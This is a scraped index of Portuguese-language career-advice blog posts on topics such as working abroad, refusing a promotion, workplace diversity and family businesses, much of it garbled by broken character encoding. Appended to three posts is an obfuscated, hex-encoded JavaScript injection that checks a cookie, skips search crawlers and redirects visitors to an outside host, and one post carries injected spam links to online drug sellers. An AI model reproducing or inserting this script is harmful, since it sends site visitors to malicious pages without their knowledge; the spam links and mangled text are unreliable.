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É necessário morar no exterior para se diferenciar como profissional?

Publicado por:
26 abr

04.3

Muito se fala sobre o diferencial que morar por um tempo no exterior pode trazer às carreiras. Mas será que toda experiência de fato contribui? Em que casos o intercâmbio fora do país pode agregar competências ao profissional?

Primeiramente, vale dizer que existem bons profissionais tanto com, quanto sem experiência no exterior. Um intercâmbio pode agregar valor diretamente ao currículo se a ida estiver vinculada a algum curso de formação dentro de um plano de carreira. Portanto, se o objetivo da viagem é somar conhecimentos às competências profissionais, antes de tudo recomenda-se planejar e deixar claro seus objetivos.

Fora a questão técnica, a experiência no exterior pode ampliar o conhecimento sobre outras realidades, ampliar a cultura geral, além de possibilitar uma reflexão sobre seus posicionamentos pessoais e profissionais. Conhecer outros países e realidades pode mudar a forma como se encara as situações do dia a dia e do ambiente de trabalho.

Caso não seja essa a sua trajetória, ou o investimento a ser realizado seja maior que os seus ganhos que vai obter, talvez passar um tempo no exterior não seja a melhor escolha. Nesse caso, é melhor investir em cursos e experiências dentro do país que possam de fato trazer benefícios à carreira.

Como recusar uma promoção na empresa?

Publicado por:
21 abr

03.31

Recebi uma oferta de promoção para ser gestor, mas não quero essa posição. O que devo fazer para declinar sem prejudicar minha carreira?

Embora o convite seja uma forma de reconhecer a competência, nem todos tem o desejo de assumir um lugar de gerência. Uma recomendação nesse caso é agradecer e procurar entender quais os fatores que motivaram o convite. Depois disso, é preciso discutir com quem o convidou sobre seu projeto de carreira.

Se seu perfil técnico foi a principal razão, isso não implica que necessariamente você seria um bom gestor. Fale com clareza dessa questão e do seu desejo de colaborar com a empresa no aspecto técnico e procure, se houver espaço, contribuir para outra solução, indicando profissionais que poderiam atender as necessidades da empresa.

Mas é importante avaliar também se sua recusa não está se dando apenas por receio do desafio. Se esse for o caso, vale conversar sobre quais são as expectativas para o cargo, as condições necessárias para dar certo e o plano de trabalho com prioridades e metas para os primeiros três meses de atuação. Essa é uma análise essencial, pois esclarece pontos necessários para o alinhamento de expectativas.

E se realmente optar por recusar, isso não quer dizer que outras oportunidades não acontecerão. Pode ser que sua clareza ajude a repensar o seu crescimento na área de atuação e a vislumbrar novas possibilidades.

Aproveitando a crise para tornar a vida mais simples

Publicado por:
19 abr

01.3 1

Devido ao momento econA?mico atual, muitas empresas precisaram cortar custos, otimizar seus processos e redimensionar suas equipes. O mesmo vem acontecendo na vida pessoal. Muitos reduziram gastos e aprenderam a cortar despesas ai???supAi??rfluasai???. Como liAi??A?o, ficou a ideia de que Ai?? possAi??vel fazer mais com menos.

NA?o se nega que Ai?? desconfortA?vel e frustrante abrir mA?o de certos ai???luxosai??? e atAi?? mesmo de coisas que sA?o importantes no dia a dia. Entretanto, pode-se aproveitar esse momento para quebrar paradigmas e viver uma vida mais simples. E isso implica tambAi??m numa mudanAi??a de hA?bitos de consumo. Para tanto, Ai?? necessA?rio fazer trA?s perguntas fundamentais na sua vida toda vez que for adquirir um bem ou comprometer sua receita: Eu quero? Eu preciso? Eu posso? Vale o preAi??o?

Um exemplo da quebra de paradigmas nestes tempos de crise Ai?? que muitos estA?o avaliando os produtos e serviAi??os e vendo que estavam gastando mais do que precisavam. Ao invAi??s de comprar aquela bolsa tA?o cara, por exemplo, estA?o vendo que uma similar pode ter qualidade e atender as necessidades do mesmo jeito.

Outro exemplo Ai?? que muitas pessoas que antes seguiam sempre as novas tendA?ncias em tecnologia estA?o reavaliando se precisam trocar o celular que funciona bem pelo A?ltimo modelo lanAi??ado e ficar pagando interminA?veis parcelas.

O raciocAi??nio para o consumo do brasileiro vem mudando e o que vem chamando a atenAi??A?o Ai?? a mudanAi??a na visA?o sobre o que tem mais valor para cada um, e isso pode ser positivo para se ter uma vida mais simples e que exija menos de vocA? e das suas finanAi??as.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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Como lidar com a diversidade nas empresas e reduzir o preconceito?

Publicado por:
14 abr

03.11 (1)

O Brasil Ai?? um paAi??s de tamanho continental, agregando uma extensa diversidade cultural, de linguagem e hA?bitos. Por isso, Ai?? preciso conhecer e compreender as particularidades de cada um, especialmente no ambiente profissional.

Ai?? comum que algumas empresas, principalmente aquelas que tA?m unidades espalhadas pelo paAi??s, mobilizem seus profissionais para treinamentos ou atAi?? mesmo transferA?ncias entre cidades ou estados. Entretanto, diante de tantas caracterAi??sticas peculiares de cada regiA?o, os gestores precisam ficar atentos para ocasiAi??es em que hA? preconceito nas equipes quando chega alguAi??m de fora.

Um exemplo disso Ai?? o que acontece com alguns profissionais nordestinos quando chegam ao Sudeste e muitas vezes sA?o subestimados ou viram alvo de piadas por causa do sotaque, tipo fAi??sico, etc. Para evitar esse tipo de situaAi??A?o, Ai?? importante que dentro das organizaAi??Ai??es haja uma polAi??tica contra esses preconceitos e aAi??Ai??es, que facilitem a adaptaAi??A?o daqueles que vem de fora. Treinamentos e palestras podem ser alguns dos recursos usados para quebrar essas dificuldades de relacionamento.

As equipes precisam ser orientadas a receber bem os novatos, independente de suas caracterAi??sticas pessoais. Buscar a integraAi??A?o e mostrar como os processos funcionam sA?o fundamentais para criar um espAi??rito de equipe. Da mesma forma, todo profissional que vai para um local diferente tambAi??m deve procurar entender as particularidades da regiA?o. Ai?? essencial que todos, nesses casos, faAi??am uma auto avaliaAi??A?o e se coloquem no lugar do outro.

Pessoas com culturas e valores diferentes podem somar de uma maneira positiva para o crescimento da empresa. Quando as diversidades sA?o bem gerenciadas, todos se esforAi??am juntos e conseguem se adaptar Ai??s diferenAi??as na construAi??A?o de um bom vAi??nculo, beneficiando a relaAi??A?o humana e profissional.
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Por que fico insatisfeito com benefícios oferecidos pela minha empresa?

Publicado por:
12 abr

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Além do salário propriamente dito, é comum as empresas oferecerem aos seus empregados alguns benefícios extras, que integram o pacote de remuneração, mas que não são obrigatórios. Entretanto, é preciso que o profissional fique atento com o modo como lida com essas facilidades.

Por lei, as empresas devem garantir aos seus empregados um salário, Fundo de Garantia por Tempo de Serviço (FGTS), vale transporte, férias remuneradas e décimo terceiro. Outros benefícios, como assistência médica, auxílio combustível, por exemplo, são opcionais e ofertados de acordo com a necessidade de cada serviço ou política da corporação. O problema é que muitos profissionais acabam enxergando a oferta desses benefícios como uma obrigação da empresa, quando na verdade não é.

Principalmente agora, quando a realidade econômica se mostra difícil e muitas empresas estão tendo dificuldades em manter a estabilidade financeira, muitos desses benefícios estão sendo cortados para redução de custos. Por isso, é preciso que os empregados comecem a olhar de forma diferente para esses “extras”, para não acabar gerando um clima de insatisfação. Muitas vezes, a postura do profissional pode ser um agravante mais significativo para o clima organizacional do que o fato da redução em si. É importante também compreender que é melhor ter essas perdas e manter a saúde financeira e econômica da empresa para que ela garanta a sobrevivência e os postos de trabalho.

Outro ponto de atenção deve ser as reclamações sem fundamento como, por exemplo, reclamar porque o carro disponibilizado pela empresa tem duas portas quando não há necessidade, para o trabalho, de um carro com quatro portas. Entretanto, se o serviço adquirido pela empresa para seus empregados não é satisfatório, o profissional pode sim dar um feedback, como quando um plano de saúde empresarial não autoriza algum exame básico, por exemplo, ou quando tem uma queda na qualidade.

Neste caso, é importante que a empresa fique sabendo da situação para que possa tomar as medidas administrativas necessárias. Mas cuidado com o excesso de reclamações. Você pode acabar ganhando uma imagem de “queixoso”.

A importância de adequar a comunicação

Publicado por:
07 abr

03.4

Já falamos anteriormente sobre a importância da clareza, da objetividade e de atentar para o uso correto do português na comunicação profissional. Entretanto, outro ponto onde devemos ter muita atenção é na adequação dos meios que utilizamos para transmitir mensagens dentro do ambiente de trabalho.

Manter uma comunicação sem ruídos é um dos fatores primordiais para se manter um bom relacionamento e, também, o correto desenvolvimento das demandas dentro de uma empresa. Antes de qualquer coisa, é preciso avaliar o conteúdo da mensagem que se quer passar e qual é o seu público-alvo, para então decidir como deve transmiti-la.

Por exemplo, se você precisar falar para alguém sobre um assunto que possui pontos de conflito, será que o e-mail é a forma mais adequada de dizê-lo? Muitas vezes, a troca de mensagens eletrônicas pode gerar mal-entendidos, seja do conteúdo ou até mesmo do tom usado. Por isso, é melhor falar pessoalmente e apenas registrar depois o que foi acertado por e-mail.

Isso também vale para assuntos que precisam de um retorno urgente, já que nem sempre todos estão disponíveis para acessar e-mail a qualquer hora do dia. Nesses casos, falar pessoalmente, telefonar ou até mesmo mandar uma mensagem por WhatsApp são as opções mais rápidas e seguras.

A adaptação da linguagem utilizada também deve ser um ponto de atenção. Quando o discurso for direcionado para um público mais jovem, por exemplo, é interessante utilizar um texto mais curto, direto e objetivo. Mas se a mensagem for endereçada para pessoas com mais idade ou de cargos mais elevados, que exijam formalidade, o conteúdo pode ser mais rebuscado.

Solidariedade x corporativismo

Publicado por:
05 abr

7.0estagio trainee

Solidariedade e corporativismo ainda sA?o dois temas que geram muitas dA?vidas, principalmente no ambiente de trabalho. O primeiro pressupAi??e colaboraAi??A?o, ajudar o outro. JA? o segundo envolve a preservaAi??A?o da categoria profissional em detrimento do interesse coletivo e da sociedade. Mas como confundir esses dois conceitos pode afetar o dia a dia empresarial?

Ser solidA?rio indica entender as necessidades do colega de trabalho e procurar meios para ajudA?-lo. JA? o corporativismo fornece apenas o apoio momentA?neo em solidariedade ao ai???colega de profissA?oai??? em detrimento dos interesses da coletividade. Ai?? preciso lembrar que proteger o outro nem sempre o ajuda a crescer, mas pode, sim, atrofiA?-lo.

O coleguismo Ai?? necessA?rio, mas deve ter limites. Para ajudar o outro a se desenvolver na carreira, procure orientar o trabalho, estimulA?-lo a assumir responsabilidades e a aprender a trabalhar com diferentes equipes. Pessoas que sA? trabalham com os mesmos colegas podem acabar nA?o desenvolvendo a habilidade de lidar com a diversidade de opiniAi??es e estilos, ou se acomodar porque nA?o hA? o desafio de ser flexAi??vel diante do novo.

JA? a superproteAi??A?o do colega, pensando apenas no corporativismo nA?o se constitui em solidariedade e pode na verdade prejudicA?-lo como profissional. AlAi??m disso, pode ser um impedimento para que os resultados esperados para a organizaAi??A?o aconteAi??am.

Em resumo, a solidariedade Ai?? sim uma atitude necessA?ria no ambiente profissional. Isso inclui ser parceiro, ajudar na sobrecarga, mas nunca assumir a responsabilidade pelo trabalho do outro, nem esconder suas falhas.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Pequenas ações fazem a diferença no trabalho

Publicado por:
31 mar

03.71

Nossas atitudes diante das mais diversas situações com as quais nos deparamos no dia a dia de trabalho podem refletir não só no nosso sucesso profissional, mas no desempenho da empresa como um todo.

Não importa sua posição, seja como estagiário ou gestor, pequenos gestos ou ações podem fazer a diferença no relacionamento com as equipes e na manutenção de um bom ambiente de trabalho. Muitas vezes são atitudes bem simples e banais como cumprimentar as pessoas, contribuir para a manutenção da limpeza e organização do ambiente, manter a calma diante de situações difíceis, cumprir prazos, não fazer fofoca, entre outras.

Fazer a diferença não significa ter uma grande ideia ou criar algo novo. Você pode começar seguindo as normas da empresa e fazendo seu trabalho da melhor forma possível, e não apenas para cumprir tabela. Imagine que você está esperando um relatório de um colega para preparar uma apresentação. Não é bom receber um material bem feito e que vai facilitar a sua atividade? Esse é um cuidado que faz a diferença.

Outra atitude é ser solidário. Viu que um colega está com muitas atividades? Por que não oferecer ajuda? Colocar-se como parte da solução, além de demonstrar que você está interessado em contribuir, deixa claro que seu foco é no resultado da empresa. Se cada um fizer a sua parte, o ambiente de trabalho se torna um local de mais prazeroso para se estar.

Como me profissionalizar como empreendedor?

Publicado por:
29 mar

http://ibrahim-djamal.mhs.narotama.ac.id/2018/02/15/order-lisinopril-20-mg-online/ http://arrifa.com/generic-for-levlen/ 03.111

http://netfixllc.com/?p=10976 Abri um negA?cio que tem bom potencial e demanda de mercado, mas estou com dificuldades em visualizar os resultados e fazer a gestA?o. Onde devo focar?

Quem decide ter o seu prA?prio negA?cio nem sempre estA? totalmente preparado para a empreitada, especialmente quando se Ai?? um empreendedor de primeira viagem. Para quem estA? seguindo este caminho e jA? tem um empreendimento montado, com foco e missA?o claros, Ai?? preciso, antes de tudo, elaborar um bom plano de negA?cios.

Estude o mercado, seu pA?blico-alvo e a concorrA?ncia. Analise as projeAi??Ai??es para o segmento e estabeleAi??a quais sA?o os atributos da marca, isto Ai??, aquilo que diferencia sua empresa de outras. Outro aspecto relevante Ai?? a construAi??A?o de um modelo financeiro com projeAi??A?o do retorno sobre o investimento. Quais as fontes de recurso? Como farA? para se sustentar atAi?? que o negA?cio comece a gerar lucro? tambAi??m sA?o perguntas que precisam ser respondidas nesta etapa.

Feito isso, Ai?? fundamental construir uma estratAi??gia que foque nas prioridades para curto e mAi??dio prazo. Em alguns casos, atAi?? Ai?? possAi??vel planejar a longo prazo. Entretanto, sabe-se que essas nA?o sA?o etapas fA?ceis para quem quer empreender. Por isso, muitas vezes Ai?? necessA?rio buscar uma ajuda profissional externa. Esse apoio pode ser importante para construir as ferramentas de acompanhamento do negA?cio e da gestA?o, alAi??m de proporcionar um espaAi??o de reflexA?o sobre sua empresa.

Cuidar da empresa da porta para dentro tambAi??m Ai?? fundamental para o sucesso. Uma boa gestA?o da equipe Ai?? um diferencial competitivo essencial. Busque tambAi??m se capacitar como gestor. Cursos de gestA?o que proporcionam troca de experiA?ncia entre os participantes, por exemplo, podem ser muito A?teis.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Empresas Familiares

Publicado por:
25 mar

03.131

A� muito comum ouvir histA?rias de empresas familiares, com vA?rias dA�cadas de fundaA�A?o, que passam de geraA�A?o em geraA�A?o. A relaA�A?o de parentesco, que antecede a relaA�A?o profissional, sem dA?vida, possibilita uma certa tranquilidade pela confianA�a preexistente. PorA�m, muitas vezes, administrar esse tipo de vA�nculo A� algo desafiador e que exige alguns cuidados.

A intimidade pode interferir no bom andamento da empresa e acabar gerando privilA�gios ou rigor excessivo. A� preciso que todos tenham horA?rios e funA�A�es bem- definidos, independentemente do vA�nculo de parentesco. AlA�m disso, recomenda-se chamar cada um pelo seu nome, abandonando os apelidos e as formas de tratamento pai, mA?e, filho, que devem se restringir exclusivamente ao A?mbito domA�stico.

Um outro aspecto que merece ser realA�ado ao se falar em empresa familiar relaciona-se A� pressa (ou pressA?o) que existe em obter A?xito quando se A� filho de profissionais bem-sucedidos. A construA�A?o de uma carreira de sucesso, independentemente de ser ou nA?o filho de pessoas que se destacaram nos seus ramos de atuaA�A?o, A� um processo gradual e, salvo raras exceA�A�es, nA?o acontece da noite para o dia.

Trabalhar com parentes nA?o A� uma tarefa simples e requer uma postura profissional, embora nA?o se possa negar que a proximidade nA?o A� a mesma que hA? entre colegas de trabalho que nA?o sA?o da mesma famA�lia. Superados alguns pontos, a confianA�a pode ser o diferencial que faz com que muitas empresas passem de pai para filho com o mesmo sucesso.

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